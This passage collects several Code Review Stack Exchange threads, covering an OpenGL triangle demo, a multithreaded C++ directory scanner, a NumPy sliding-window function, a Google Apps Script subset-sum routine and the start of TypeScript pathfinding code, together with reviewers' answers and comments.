glDrawArrays(GL_TRIANGLES, 0, 2*3); glutSwapBuffers(); } void reshape(int width, int height) { glViewport(0, 0, width, height); } int main(int argc, char** argv) { /* Utils for GL */ glutInit(&amp;argc, argv); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH); glutInitWindowSize(width, height); glutCreateWindow(&quot;mini&quot;); glutDisplayFunc(display); glutReshapeFunc(reshape); glewInit(); /* Install shaders */ int VERT_SH = make_shader(vertex_src, GL_VERTEX_SHADER); int FRAG_SH = make_shader(fragment_src, GL_FRAGMENT_SHADER); int PROG = make_program(VERT_SH, FRAG_SH); glUseProgram(PROG); /* Define triangle data (&quot;vertex array organization&quot;)*/ init_bufs_format46(); /* Activate attribs-buffer combo for drawing */ glVertexAttribBinding(VAA, VB); /* Alternate data method */ //init_bufs_pointer20(); glClearColor(0,0,0,0); /* Blend _or_ Cover ? And if yes, how ?*/ //glEnable(GL_BLEND); //glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); //glBlendEquation(GL_FUNC_SUBTRACT); glEnable(GL_DEPTH_TEST); /* invert depth */ //glDepthFunc(GL_GREATER); //glClearDepth(0); glutMainLoop(); return 0; } </code></pre> <p>And this is how it looks. Minimal color and minimal 3D. Much more fancy than a single unicolored triangle.</p> <p><a href="https://i.stack.imgur.com/sCbsC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/sCbsC.png" alt="With Depth" /></a></p>
[]
[ { "body": "<p>If you don't want obsolete and deprecated stuff, don't use GLUT, see\n<a href=\"https://gamedev.stackexchange.com/questions/23644/is-glut-obsolete\">Is GLUT obsolete?</a>. Use\n<a href=\"https://www.glfw.org/\" rel=\"nofollow noreferrer\">GLFW</a> instead. I've personally used it and it\nis in my opinion easy to learn and much better than GLUT.</p>\n<p>Accoding to the poster, they are using FreeGLUT and not GLUT (I don't\nthink you can tell from their code). Even so, I still recommend GLFW\nover FreeGLUT because it handles Unicode input and HiDPI displays\nbetter and it allows for more\n<a href=\"https://paroj.github.io/gltut/Getting%20Started%20with%20OpenGL.html\" rel=\"nofollow noreferrer\">finegrained control over the main loop</a>. There\nis also much more activity in the\n<a href=\"https://github.com/glfw/glfw\" rel=\"nofollow noreferrer\">GLFW project</a> than in the\n<a href=\"https://sourceforge.net/projects/freeglut/\" rel=\"nofollow noreferrer\">FreeGLUT project</a>,\nsuggesting that the former has the larger developer mindshare.</p>\n<p>Always compile with <code>-Wall -Werror</code>. In you code there are some\nobvious type errors you need to take care of.</p>\n<p>There is not enough error-checking in many of your functions. For example in:</p>\n<pre><code>int\nmake_shader(const char *src, int sh_typ) {\n\n int shader = glCreateShader(sh_typ);\n glShaderSource(shader, 1, &amp;src, NULL);\n glCompileShader(shader);\n shader_status(shader);\n return shader;\n }\n</code></pre>\n<p>you are not checking the return value of <code>glCreateShader</code>. This could\ncause weird and hard to debug errors in other parts of your code. I\nsuggest something like this:</p>\n<pre><code>// Returns the shader id or 0 if shader creation failed.\nGLuint\nmake_shader(const GLchar *src, GLenum shader_type) {\n\n GLuint shader = glCreateShader(shader_type);\n if (!shader) {\n return shader;\n }\n\n glShaderSource(shader, 1, &amp;src, NULL);\n glCompileShader(shader);\n\n GLint compile_ok = GL_FALSE;\n GLint log_length;\n glGetShaderiv(shader, GL_COMPILE_STATUS, &amp;compile_ok);\n if (!compile_ok) {\n glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &amp;log_length);\n GLchar *log = (GLchar *)malloc(sizeof(GLchar) * log_length);\n glGetShaderInfoLog(shader, log_length, NULL, log);\n fprintf(stderr, &quot;Shader compilation failed:\\n%s\\n&quot;, log);\n free(log);\n return 0;\n }\n shader_status(shader);\n return shader;\n}\n</code></pre>\n<p>And roughly the same for <code>glCreateProgram</code>/<code>glLinkProgram</code>. You get\nthe idea. Note that I've changed the code so that it uses the proper\nGL types. You should also check the return value of <code>make_shader</code>\nrather than assuming that it will always succeed.</p>\n<p>I don't know what the difference between &quot;pointer20&quot; and &quot;format46&quot;\nare. Pointer20 is the way I've written GL code, but apparently both\nmethods work. However, I'd caution against storing colors in the same\narray as the vertices. It's much better to have one array for triangle\nvertices, one for colors, one for normals, one for texture\ncoordinates, etc.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:02:00.920", "Id": "508297", "Score": "1", "body": "Original GLUT, but not freeglut is obsolte. GLFW seems a good (or better?) alternative to freeglut. <GL/glut.h> is freeglut's header." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:15:00.317", "Id": "508300", "Score": "0", "body": "Shader compile errors: I just continue, true, and sometimes get white distorted triangles (or a black screen). But the error log is there to show the reason. To me this is 90% OK; so yes, some room for more error checking..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:47:11.443", "Id": "508304", "Score": "0", "body": "One advantage of the newer (OpenGL 4.3) VertexAttribFormat() seems to be this Array-of-struct layout (better locality) of vertex attributes. Maybe my 5-attribute array demonstrates how the new command can freely choose the 1-4 columns (with \"reloffset\"). Of course, the way I squeezed one color component into the 4. column after xyz is just a hack, to be able to see two triangles and not just a silhouette. Looks like there is a design decision to be made." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T22:05:30.677", "Id": "508374", "Score": "0", "body": "There is no conclusive performance advantage in interleaving the vertex buffer data. See [Storing vertex data: To interleave or not to interleave?](https://anteru.net/blog/2016/storing-vertex-data-to-interleave-or-not-to-interleave/) and [Vertex Specification Best Practices](https://www.khronos.org/opengl/wiki/Vertex_Specification_Best_Practices#Interleaving). The main disadvantage of interleaving is that it wastes memory and slows down operations that only requires some of the vertex attributes." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T02:28:43.247", "Id": "257328", "ParentId": "257323", "Score": "1" } }, { "body": "<p>The difference between <code>VertexAtrribPointer()</code> and <code>...Format</code> is not as big; if you give the the <em>pointer</em> argument correctly, it works:</p>\n<pre><code>glVertexAttribPointer(VAA, 4, GL_FLOAT, GL_FALSE, \n 5*sizeof(float), (void*)(1*sizeof(float))); //..., stride, pointer)\n</code></pre>\n<hr />\n<p>There is (was?) a <code>glVertexPointer()</code>, but that is missing in the current gl4 refpages. I found it in 'perf/glslstatechange.c' (mesa-demos). It uses no Buffer commands (!), but obviously has to do some other tricks. The goal is to call <code>UseProgram()</code> all the time. The <code>(void*)</code> cast has historical reasons. In this demo, that argument is simple the array name - no cast.</p>\n<hr />\n<p>So for data selection <code>...Pointer</code> and <code>...Format</code> offer the same two arguments (5 and 1 in OP).</p>\n<p>The main difference is the extra layer the newer <code>glVertexAttribFormat</code> needs (or allows)</p>\n<pre><code>glBindVertexBuffer(VB, BUF, 0, 5*sizeof(float));\n...\nglVertexAttribBinding(VAA, VB)\n</code></pre>\n<p>For the price of two additional commands, you get an extra layer and don't have to write <code>(void*)</code>.</p>\n<p>This extra layer <code>VB</code> should help when you update parts of the vertex attributes. Actually, <code>glVertexAttribBinding(VAA, VB)</code> is not the part of the price but part of the purchase.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T12:11:56.957", "Id": "257394", "ParentId": "257323", "Score": "0" } }, { "body": "<p>The key to understand these historical changes in OpenGL is the &quot;ARB Extensions Specifications&quot;. They run from #1 in 2002 to #190 in 2019; the ones I checked mostly have a useful &quot;Overview&quot; intro, explaining <em>why</em> this ARB spec was needed.</p>\n<p>The OpenGL wiki (khronos.org) sometimes copies parts from the ARBs. The ARBs also update the specs (new functions) - no wonder the specs are so hard to read after all these additions.</p>\n<p>ARB direct_state_acces reduces the <code>bind-to-edit</code> actions; it defines <em>many</em> new calls.</p>\n<p><code>glVertexAttribFormat</code> is from ARB vertex_attrib_binding.</p>\n<p>Here the function in question. I put the official function description in comments. The vertex data this time is split into a position and a color part - vertically interlaced.</p>\n<pre><code>void\ninit_bufs_format46(void) {\n\n/* ARB#164 direct_state_access, 2014 \n - New buffer objects, initialized with unspecified target \n - New Data Store for (named) Buffer Object */\nglCreateBuffers(1, BUF);\nglNamedBufferData(BUF[0], sizeof vertices, vertices, GL_STATIC_DRAW);\n\n\n/* ARB#125 vertex_attrib_binding, 2012 \n - Bind a vertex buffer bind point (0-15) to a buffer \n - Specify layout of a generic vertex attribute array \n - Associate vertex attribute and vertex buffer binding [point] */\nVB[1] = 1;\nglBindVertexBuffer (VB[1], BUF[0], 0, 3*sizeof(float)); //..., offset, stride)\nglVertexAttribFormat (GVAA0, 3, GL_FLOAT, 0, 0);\nglVertexAttribBinding (GVAA0, VB[1]);\n\nglEnableVertexAttribArray (GVAA0);\n\n/* GVAA &quot;1&quot; is color here; same buffer but with an offset and a different stride */\nVB[2] = 2;\nint buf_offset = 6*3*sizeof(float);\nglBindVertexBuffer (VB[2], BUF[0], buf_offset, 4*sizeof(float));\nglVertexAttribFormat (1, 3, GL_FLOAT, 0, 0); \nglVertexAttribBinding (1, VB[2]);\n\nglEnableVertexAttribArray (1);\n}\n</code></pre>\n<p>The VB(BP)s just get integers from 0 to 15. No Gen- or Create-someobj. I left the &quot;1&quot; in the 2nd block naked; it would be <code>GVAA1</code>, or then <code>GVAA_color</code> in this case.</p>\n<p>(The vertex shader now has a second <code>in</code>, and now it just passes on both unchanged.)</p>\n<pre><code>float vertices[] = {\n 1, 1, 0.2,\n -1,-1, 0.6,\n -1, 1, 0.5,\n //-.1,.1,.5,\n\n 0.3, -.8, .9,\n 0, 0.9, .1, /* z=0.1 --&gt; near tip of second triangle */\n -.5, -.8, .8,\n//};\n//float colors[] = {\n .8, .6, .1,.2,\n .6, .5, .1,.2,\n .9, .3, .1,.2,\n\n .1, .9, .6,.1,\n .7, .6, .7,.1,\n .3, .7, .9,.1,\n};\n</code></pre>\n<p>ARB #28 vertex_buffer_object (2003) is also interesting:</p>\n<blockquote>\n<pre><code>What should this extension be called?\n\n RESOLVED: By unanimous consent among the working group members,\n the name was chosen to be &quot;ARB_vertex_buffer_object&quot;. A large\n number of other names were considered throughout the lifetime of\n the proposal, especially &quot;vertex_array_object&quot; (originally),\n &quot;buffer_object&quot; (later on), and &quot;memory_object&quot; (near the end),\n but the name &quot;vertex_buffer_object&quot; was ultimately chosen.\n</code></pre>\n</blockquote>\n<p>And <strong>vertex_array_object</strong> became #54. (A <em>container</em> object).</p>\n<hr />\n<p>They probably think: with a front cover like that on the specification, explanations are not necessary.</p>\n<p><a href=\"https://i.stack.imgur.com/VS0JC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VS0JC.png\" alt=\"enter image description here\" /></a></p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T10:58:50.323", "Id": "257435", "ParentId": "257323", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T23:11:34.257", "Id": "257323", "Score": "5", "Tags": [ "c", "opengl" ], "Title": "OpenGL Hello Triangles" }
257323
<p>I have written program which following purpose</p> <ol> <li>Traverse directory in multi threading environment First determine all top level directory and store into vector which have following result:</li> </ol> <ul> <li>/home/dir1</li> <li>/home/dir2</li> <li>... more than 1000</li> </ul> <ol> <li>create number of database</li> <li>create number of threads</li> <li>assign each thread to one directory</li> <li>Traverse and determine size of directory</li> <li>There is some issue regarding perforce but I feel code also need to review any better suggestion</li> </ol> <pre><code>#include&lt;boost/tokenizer.hpp&gt; #include&lt;boost/asio.hpp&gt; #include &lt;boost/bind/bind.hpp&gt; #include &quot;scan_dir.h&quot; //local file using namespace std::chrono; /* * Process directory fucntion * Input : Project path, maxdepth */ void process_dir(const std::string &amp;proj, uint64_t &amp;count, std::vector&lt;std::string&gt; &amp;dirs) { std::cout&lt;&lt;&quot;Creating Directory&quot;&lt;&lt;std::endl; //dirs = Util::get_top_dir_depth(proj, 0); dirs = Util::traverse_dir(proj, 1); count = dirs.size(); } int main(int argc, char *argv[]) { po::options_description desc(&quot;DiskAnalyzer Tool&quot;); po::variables_map vm; std::string user, proj; uint64_t f_size, maxdepth=0, dir_size=0; bool show_dir; Dirs d; desc.add_options() (&quot;help,h&quot;, &quot;DiskAnalyzer option&quot;) (&quot;proj,p&quot;, po::value&lt;string&gt;(),&quot;provide directory path which you would like to search data&quot;) (&quot;user,u&quot;, po::value&lt;string&gt;(), &quot;display file which is associated/Owner with user&quot;) (&quot;dirsize,ds&quot;, po::value&lt;uint64_t&gt;()-&gt;default_value(1000000), &quot;display dir which dir_size&gt;=size by default 1000000 Byte:1MB&quot;) (&quot;showdir,sh&quot;, po::value&lt;bool&gt;()-&gt;default_value(false), &quot;show only dir which is associated with user&quot;) (&quot;maxdepth&quot;, po::value&lt;uint64_t&gt;()-&gt;default_value(5), &quot;show only dir which is associated with user&quot;) (&quot;filesize,fs&quot;, po::value&lt;uint64_t&gt;()-&gt;default_value(10000), &quot;display file which file_size&gt;=size by default 10000 Byte:10KB&quot;); try { po::store(po::parse_command_line(argc, argv, desc), vm); po::notify(vm); }catch(const std::exception &amp;err) { std::cerr&lt;&lt;err.what()&lt;&lt;std::endl; std::cout&lt;&lt;desc&lt;&lt;std::endl; } catch(...) { std::cout&lt;&lt;&quot;Unkown exception&quot;&lt;&lt;std::endl; } if(vm.count(&quot;help&quot;)) { std::cout&lt;&lt;&quot;scan -p &lt;proj_name&gt; -u &lt;user_name&gt; -maxdepth &lt;maxdepth&gt; -fs &lt;file_size&gt; -d &lt;debug&gt;\n\n&quot;; std::cout&lt;&lt;desc&lt;&lt;std::endl; return 1; } if(vm.count(&quot;user&quot;)){ user = vm[&quot;user&quot;].as&lt;string&gt;(); } if(vm.count(&quot;proj&quot;)){ proj = vm[&quot;proj&quot;].as&lt;string&gt;(); } if(vm.count(&quot;filesize&quot;)){ f_size = vm[&quot;filesize&quot;].as&lt;uint64_t&gt;(); } if(vm.count(&quot;showdir&quot;)) { show_dir = vm[&quot;showdir&quot;].as&lt;bool&gt;(); } if(vm.count(&quot;dirsize&quot;)) { dir_size = vm[&quot;dirsize&quot;].as&lt;uint64_t&gt;(); } if(vm.count(&quot;maxdepth&quot;)){ maxdepth = vm[&quot;maxdepth&quot;].as&lt;uint64_t&gt;(); } if(show_dir) { d.scan_dir_name(proj, user, dir_size, maxdepth); return 0; } else { uint64_t count = 0; std::vector&lt;std::string&gt; dir; process_dir(proj, count, dir); std::cout&lt;&lt;&quot;createing database[&quot;&lt;&lt;proj&lt;&lt;&quot; &quot;&lt;&lt;count&lt;&lt;&quot; ]&quot;&lt;&lt;std::endl; std::string db_name = Command::basename(proj); DataBase db[count]; for (uint64_t i = 0; i&lt;count; i++){ db[i].set_db_name(&quot;DiskAnalyzer_&quot;+ std::to_string(i)+&quot;_&quot; +db_name); if(!db[i].prepare_db()){ std::cerr&lt;&lt;&quot;[Error] DataBase operation failed&quot;&lt;&lt;std::endl; return 1; } } std::size_t max_thread = dir.size() &gt; 1000 ? 1000 : dir.size(); //max_thread = 10; std::cout&lt;&lt;dir.size()&lt;&lt;std::endl; //contain directory information while(dir.size()){ std::size_t dir_traverse = 0, db_count = 0; boost::asio::io_service io_service; boost::asio::io_service::work work(io_service); boost::thread_group threads; for (std::size_t i = 0; i &lt; max_thread; ++i) threads.create_thread(boost::bind(&amp;boost::asio::io_service::run, &amp;io_service)); for(auto it = dir.begin(); it != dir.end() &amp;&amp; dir_traverse &lt;max_thread; ++it){ if(db_count&gt;=count) db_count = 0; try { //this function determine determine size of directory. I had expectation // each directory will go each thread io_service.post(boost::bind(&amp;Dirs::scan_dir, boost::ref(d), *it, db[db_count], user)); } catch(...) { std::cerr&lt;&lt;&quot;got error&quot;&lt;&lt;std::endl; continue; } dir_traverse++; //dir_traverse = dir_traverse + max_thread; db_count++; //boost::this_thread::sleep(boost::posix_time::seconds(1)); } io_service.stop(); threads.join_all(); dir.erase(dir.begin(), dir.begin()+dir_traverse); std::cout&lt;&lt;&quot; [Remaining Processing dir cout &quot;&lt;&lt;dir.size()&lt;&lt;std::endl; } return 0; } std::cout&lt;&lt;desc&lt;&lt;std::endl; return 0; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T09:11:49.460", "Id": "508276", "Score": "2", "body": "Does multi-threading help. Intuition seems to suggest the bottleneck here is disk IO." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T17:17:37.680", "Id": "508347", "Score": "1", "body": "Console I/O is likely to be a pretty serious bottleneck as well, especially with using `std::endl` everywhere. :-(" } ]
[ { "body": "<h1>Use of multithreading</h1>\n<p>Multithreading is normally used when you have a lot of work to do on the CPU, and spreading it out over multiple cores speeds up your program. However, here you don't do much work at all, just traversing the directories. This means that most of the time, your program will be I/O-bound, and throwing more threads at the problem doesn't make it go any faster; you are just waiting for the disk to return data from the directory structures in the filesystem.</p>\n<p>A few threads might still be useful, because if the operating system gets multiple I/O requests, it can do some more intelligent scheduling of I/O operations. This is mostly helpful for hard disks, where a lot of the time is spent moving the read heads. For solid state disks this is less of an issue, although depending on the model it might still have some benefits.</p>\n<p>Starting threads itself has overhead, so for sure you don't want to start a thousand threads. Try varying <code>max_threads</code> and benchmark the results. I expect you get the maximum performance with just a few threads at most.</p>\n<h1>Keep threads alive</h1>\n<p>Again, starting threads is not free. You are starting <code>max_threads</code> threads, each processing a directory, and then you wait for all threads to finish, before you start a new group of <code>max_threads</code> threads. Apart from the repeated overhead of starting threads, you also limit the processing speed to that of the slowest thread in each group.</p>\n<p>The normal approach is to start a small number of threads, and have each thread continuously pick some work until there is no more work left to do.</p>\n<h1>Use of Boost</h1>\n<p>Boost can be useful, but using Boost::ASIO for this problem is overkill in my opinion. You can easily start a few threads yourself using <a href=\"https://en.cppreference.com/w/cpp/thread\" rel=\"nofollow noreferrer\">C++11's standard thread functions</a>.</p>\n<h1>Avoid <code>std::endl</code></h1>\n<p>As mentioned in the comments, <a href=\"https://stackoverflow.com/questions/213907/stdendl-vs-n\">avoid using <code>std::endl</code></a>, and use <code>'\\n'</code> instead. The former is equivalent to the latter, but also forces a flush of the output stream, which can negatively impact performance.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T20:24:39.983", "Id": "257362", "ParentId": "257324", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T01:30:21.540", "Id": "257324", "Score": "2", "Tags": [ "c++", "multithreading", "file-system" ], "Title": "Traverse directory using multithreading" }
257324
<p>Here is a function for creating sliding windows from a 1D NumPy array:</p> <pre><code>from math import ceil, floor import numpy as np def slide_window(A, win_size, stride, padding = None): '''Collects windows that slides over a one-dimensional array. If padding is None, the last (rightmost) window is dropped if it is incomplete, otherwise it is padded with the padding value. ''' if win_size &lt;= 0: raise ValueError('Window size must be positive.') if not (0 &lt; stride &lt;= win_size): raise ValueError(f'Stride must satisfy 0 &lt; stride &lt;= {win_size}.') if not A.base is None: raise ValueError('Views cannot be slided over!') n_elems = len(A) if padding is not None: n_windows = ceil(n_elems / stride) A = np.pad(A, (0, n_windows * win_size - n_elems), constant_values = padding) else: n_windows = floor(n_elems / stride) shape = n_windows, win_size elem_size = A.strides[-1] return np.lib.stride_tricks.as_strided( A, shape = shape, strides = (elem_size * stride, elem_size), writeable = False) </code></pre> <p>(Code has been updated based on Marc's feedback) Meant to be used like this:</p> <pre><code>&gt;&gt;&gt; slide_window(np.arange(5), 3, 2, -1) array([[ 0, 1, 2], [ 2, 3, 4], [ 4, -1, -1]]) </code></pre> <p>Is my implementation correct? Can the code be made more readable? In NumPy 1.20 there is a function called sliding_window_view, but my code needs to work with older NumPy versions.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T21:06:28.773", "Id": "508363", "Score": "0", "body": "`numpy.lib.stride_tricks.sliding_window_view` is written in pure python; if it is not for the sake of a programming exercise, is there any reason why you can't ... faithfully borrow ... their code?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T21:18:22.220", "Id": "508367", "Score": "0", "body": "It doesn't support padding the last element. Maybe that can be added but it looks like lots of work." } ]
[ { "body": "<p>Few suggestions:</p>\n<ul>\n<li><p><strong>Input validation</strong>: there is no input validation for <code>win_size</code> and <code>padding</code>. If <code>win_size</code> is <code>-3</code> the exception says <code>ValueError: Stride must satisfy 0 &lt; stride &lt;= -3.</code>. If <code>padding</code> is a string, numpy throws an exception.</p>\n</li>\n<li><p><strong>Type hints</strong>: consider adding <a href=\"https://docs.python.org/3/library/typing.html\" rel=\"nofollow noreferrer\">typing</a> to provide more info to the caller.</p>\n</li>\n<li><p><strong>f-Strings</strong>: depending on the version of Python you use, the exception message can be slightly simplified.</p>\n<p>From:</p>\n<pre class=\"lang-py prettyprint-override\"><code>if not (0 &lt; stride &lt;= win_size):\n fmt = 'Stride must satisfy 0 &lt; stride &lt;= %d.'\n raise ValueError(fmt % win_size)\n</code></pre>\n<p>To:</p>\n<pre class=\"lang-py prettyprint-override\"><code>if not 0 &lt; stride &lt;= win_size:\n raise ValueError(f'Stride must satisfy 0 &lt; stride &lt;= {win_size}.')\n</code></pre>\n</li>\n<li><p><strong>Duplication</strong>: the statement <code>shape = n_windows, win_size</code> seems duplicated and can be simplified.\nFrom:</p>\n<pre class=\"lang-py prettyprint-override\"><code>if padding is not None:\n n_windows = ceil(n_elems / stride)\n shape = n_windows, win_size\n A = np.pad(A, (0, n_windows * win_size - n_elems),\n constant_values = padding)\nelse:\n n_windows = floor(n_elems / stride)\n shape = n_windows, win_size\n</code></pre>\n<p>To:</p>\n<pre class=\"lang-py prettyprint-override\"><code>if padding is not None:\n n_windows = ceil(n_elems / stride)\n A = np.pad(A, (0, n_windows * win_size - n_elems),\n constant_values=padding)\nelse:\n n_windows = floor(n_elems / stride)\nshape = n_windows, win_size\n</code></pre>\n</li>\n<li><p><strong>Warning</strong>: FYI on the doc of <a href=\"https://numpy.org/doc/stable/reference/generated/numpy.lib.stride_tricks.as_strided.html#numpy.lib.stride_tricks.as_strided\" rel=\"nofollow noreferrer\">np.lib.stride_tricks.as_strided</a> there is a warning that says <code>This function has to be used with extreme care, see notes.</code>. Not sure if it applies to your use case but consider checking it out.</p>\n</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T03:04:23.260", "Id": "257330", "ParentId": "257325", "Score": "2" } } ]
{ "AcceptedAnswerId": "257330", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T01:33:42.033", "Id": "257325", "Score": "2", "Tags": [ "python", "numpy" ], "Title": "Efficient NumPy sliding window function" }
257325
<p>I have an array which I want to check for some values in second and fourth column. If I pass to function <code>GWPA4205022</code> and <code>1550</code> I want function to:</p> <ul> <li>find in array all matches to <code>GWPA4205022</code></li> <li>find the best combination of elements which sum is close to <code>1550</code></li> <li>if it's less than <code>1550</code> then it should find another <code>GWPA4205022</code> in array and fit its value that overall sum will be <code>1550</code></li> </ul> <p>so the example output should be:</p> <pre><code>var output = [[HAT, GWPA4205022, L00057275, 50.0, , , , 1166P92851, , , , 4720025365 ], [HAT, GWPA4205022, L00063746, 1000.0, , , , 1161P38051, , , , 4720021465 ], [HAT, GWPA4205022, L00063743, 100.0, , , , 1165P95951, , , , 4720024322 ], [HAT, GWPA4205022, L00063743, 100.0, , , , 1166P04351, , , , 4720024534 ], [HAT, GWPA4205022, L00056983, 300.0, , , , 1166P43451, , , , 4720025060 ]]; </code></pre> <p>The function is doing its job, but I am wondering if there is more efficient way to write this kind of macro?</p> <p>It is my first time with such complicated macro so I would like to know more about other possibilities and maybe in some part of my code I am getting wrong. In few cases I was able to check it was doing its job.</p> <pre class="lang-js prettyprint-override"><code>var arrToCheck = [ [&quot;HAT&quot;, &quot;GWPA4205022&quot;, &quot;L00063746&quot;, 1000.0, , , , &quot;1161P38051&quot;, , , , 4720021465 ], [&quot;HAT&quot;, &quot;GWPA4205022&quot;, &quot;L00063743&quot;, 100.0, , , , &quot;1165P95951&quot;, , , , 4720024322 ], [&quot;HAT&quot;, &quot;GWPA4205022&quot;, &quot;L00063743&quot;, 100.0, , , , &quot;1166P04351&quot;, , , , 4720024534 ], [&quot;HAT&quot;, &quot;GWPA4205022&quot;, &quot;L00056983&quot;, 300.0, , , , &quot;1166P43451&quot;, , , , 4720025060 ], [&quot;HAT&quot;, &quot;GWPA4205022&quot;, &quot;L00057275&quot;, 200.0, , , , &quot;1166P92851&quot;, , , , 4720025365 ], [&quot;INT 80C&quot;, &quot;CWPA8005121&quot;, &quot;L00057064&quot;, 600.0, , , , &quot;1166P78351&quot;, , , , 4720025137 ], [&quot;INT 80C&quot;, &quot;CWPA8005121&quot;, &quot;L00057275&quot;, 500.0, , , , &quot;1166P92351&quot;, , , , 4720025365 ] ] var productToCheck = &quot;GWPA4205022&quot;; var sumCheck = 1550; function item1(valuesToCheck,sumToCheck) { const sheetName = &quot;AIRHLP&quot;; // Please set the sheet name. const sheetName1 = &quot;対象部品コード&quot;; // Please set the sheet name. const sheetName2 = &quot;AIR &quot;; // Please set the sheet name. // 1. Retrieve values from sheet. const ss = SpreadsheetApp.getActiveSpreadsheet(); const sheet = ss.getSheetByName(sheetName); const sheet1 = ss.getSheetByName(sheetName1); const sheet2 = ss.getSheetByName(sheetName2); //const values = sheet.getRange(4, 3, sheet.getLastRow() - 3, 12).getValues(); //const valuesToCheck = sheet1.getRange(4, 2).getValue(); //const sumToCheck = sheet1.getRange(4, 3).getValue(); const values = arrToCheck; console.log(values); var arr = []; for(var i = 0; i &lt; values.length; i++){ if(values[i][1] === valuesToCheck){ arr.push(values[i][3]); } }; console.log(arr); //------------------------Subset Sum Check-------------------------------------------- function getCombinations(array, sum) { function add(a, b) { return a + b; } function fork(i, t) { var r = (result[0] || []).reduce(add, 0), s = t.reduce(add, 0); if (i === array.length || s &gt; sum) { if (s &lt;= sum &amp;&amp; t.length &amp;&amp; r &lt;= s) { if (r &lt; s) { result = []; } result.push(t); } return; } fork(i + 1, t.concat([array[i]])); fork(i + 1, t); } var result = []; fork(0, []); return result; } const noweAr = getCombinations(arr, sumToCheck); var check = noweAr[0]; console.log(check); //-------------------------Position in Array--------------------------------------------------------- function getUniqueIndexes(array, check) { // copy array to prevent mutation var arr = array.slice() // loop through `check` const indeks = check.reduce((acc, cur) =&gt; { // find index of the current value var i = arr.indexOf(cur) if (i !== -1) { // erase the value to prevent further matches arr[i] = null // return the acumulator with the new index for each loop return [...acc, i] } }, []) return indeks } const indeks = getUniqueIndexes(arr, check) console.log(indeks); //-------------------------Total Check---------------------------------------------------------- var sumCheckArray = check.reduce((a, b) =&gt; a + b, 0); var first = arr.length; var second = []; for (var i=0;i&lt;=first;i++) { second.push(i); console.log(second); } function arr_diff (a1, a2) { var a = [], diff = []; for (var i = 0; i &lt; a1.length; i++) { a[a1[i]] = true; } for (var i = 0; i &lt; a2.length; i++) { if (a[a2[i]]) { delete a[a2[i]]; } else { a[a2[i]] = true; } } for (var k in a) { diff.push(k); } return diff; } const toLook = arr_diff(second,indeks); console.log(toLook); var pasujace = []; var nowatabelka = []; var roznica = sumToCheck - sumCheckArray; if(sumCheckArray != sumCheckArray){ for(var i = 0; i &lt; indeks.length; i++){ nowatabelka.push(values[indeks[i]]); }} else { for(var i = 0; i &lt; toLook.length; i++){ if(arr[toLook[i]] &gt; roznica){ pasujace.push(toLook[i],arr[toLook[i]]) } else if (pasujace === undefined){ pasujace.push(0,0,3); }Logger.log(pasujace); values[pasujace[0]][3] = roznica // TUTAJ ZMIENIC } nowatabelka.push(values[toLook[0]]); for(var i = 0; i &lt; indeks.length; i++){ nowatabelka.push(values[indeks[i]]); } } console.log(pasujace); console.log(nowatabelka); console.log(nowatabelka.length); //------------------Insert Data------------------------------------------- var getLast = sheet2.getLastRow() + 1; const resultRange = sheet2.getRange(getLast, 3,nowatabelka.length, 12); var result = resultRange.setValues(nowatabelka); console.log(getLast); } item1(productToCheck, sumCheck); </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T02:18:49.867", "Id": "257327", "Score": "0", "Tags": [ "javascript", "google-apps-script", "google-sheets" ], "Title": "Finding the best set of values in array" }
257327
<p>This is part of a project I built to visualise pathfinding algorithms. These files run the algorithms and gather a list of frames, which are used to show the animations.</p> <p>algorithms.ts</p> <pre><code>export type Algorithm = (start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) =&gt; GridFrame[]; export function breadthFirstSearch(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const queue = new Queue&lt;Coord&gt;(); const distances = new HashMap&lt;Coord, number&gt;(); return genericUnidirectionalSearch(start, goal, queue, distances, weights, walls); } export function depthFirstSearch(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const stack = new Stack&lt;Coord&gt;(); const distances = new HashMap&lt;Coord, number&gt;(); return genericUnidirectionalSearch(start, goal, stack, distances, weights, walls); } export function bestFirstSearch(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], heuristic: string) { const heuristicComparator = stringToHeuristic.get(heuristic)(goal); const priorityQueue = new PriorityQueue(heuristicComparator); const distances = new HashMap&lt;Coord, number&gt;(); return genericUnidirectionalSearch(start, goal, priorityQueue, distances, weights, walls); } export function dijkstra(start: Coord, goal: Coord, walls: boolean[][], weights: number[][], _: string) { const distances = new 